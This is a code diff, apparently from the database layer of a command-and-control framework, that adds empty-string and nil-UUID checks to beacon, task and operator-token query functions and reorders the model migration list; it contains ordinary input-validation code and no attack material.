 // RenameBeacon - Rename a beacon
-func RenameBeacon(beaconID string, name string) error {
+func RenameBeacon(id string, name string) error {
+	if len(id) < 1 {
+		return ErrRecordNotFound
+	}
+	beaconID := uuid.FromStringOrNil(id)
+	if beaconID == uuid.Nil {
+		return ErrRecordNotFound
+	}
 	err := Session().Where(&models.Beacon{
-		ID: uuid.FromStringOrNil(beaconID),
+		ID: beaconID,
 	}).Updates(models.Beacon{Name: name}).Error
 	if err != nil {
 		return err
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
 }
 
 // PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
-func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
+func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
+	if len(id) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	beaconID := uuid.FromStringOrNil(id)
+	if beaconID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	tasks := []*models.BeaconTask{}
 	err := Session().Where(
 		&models.BeaconTask{
-			BeaconID: uuid.FromStringOrNil(beaconID),
+			BeaconID: beaconID,
 			State:    models.PENDING,
 		},
 	).Order("created_at").Find(&tasks).Error
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
 }
 
 // UpdateBeaconCheckinByID - Update the beacon's last / next checkin
-func UpdateBeaconCheckinByID(beaconID string, next int64) error {
+func UpdateBeaconCheckinByID(id string, next int64) error {
+	if len(id) < 1 {
+		return ErrRecordNotFound
+	}
+	beaconID := uuid.FromStringOrNil(id)
+	if beaconID == uuid.Nil {
+		return ErrRecordNotFound
+	}
 	err := Session().Where(&models.Beacon{
-		ID: uuid.FromStringOrNil(beaconID),
+		ID: beaconID,
 	}).Updates(models.Beacon{
 		LastCheckin: time.Now(),
 		NextCheckin: time.Now().Unix() + next,
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
 
 // BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
 func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
+	if len(beaconID) < 1 {
+		return nil, ErrRecordNotFound
+	}
+	beaconUUID := uuid.FromStringOrNil(beaconID)
+	if beaconUUID == uuid.Nil {
+		return nil, ErrRecordNotFound
+	}
 	task := &models.BeaconTask{}
 	err := Session().Where(
 		&models.BeaconTask{
-			BeaconID:   uuid.FromStringOrNil(beaconID),
+			BeaconID:   beaconUUID,
 			EnvelopeID: envelopeID,
 			State:      models.SENT,
 		},
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
 
 // CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
 func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
+	if beaconID == uuid.Nil {
+		return 0, 0, ErrRecordNotFound
+	}
 	allTasks := int64(0)
 	completedTasks := int64(0)
 	err := Session().Model(&models.BeaconTask{}).Where(
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
 
 // OperatorByToken - Select an operator by token value
 func OperatorByToken(value string) (*models.Operator, error) {
+	if len(value) < 1 {
+		return nil, ErrRecordNotFound
+	}
 	operator := &models.Operator{}
 	err := Session().Where(&models.Operator{
 		Token: value,

server/db/sql.go

@@ -55,16 +55,16 @@ func newDBClient() *gorm.DB {
 		&models.Host{},
 		&models.IOC{},
 		&models.ExtensionData{},
-		&models.ImplantC2{},
-		&models.ImplantConfig{},
 		&models.ImplantBuild{},
+		&models.ImplantProfile{},
+		&models.ImplantConfig{},
+		&models.ImplantC2{},
 		&models.KeyValue{},
 		&models.CanaryDomain{},
-		&models.ImplantProfile{},
 		&models.Loot{},
 		&models.Operator{},
-		&models.WebContent{},
 		&models.Website{},
+		&models.WebContent{},
 		&models.WGKeys{},
 		&models.WGPeer{},
 	)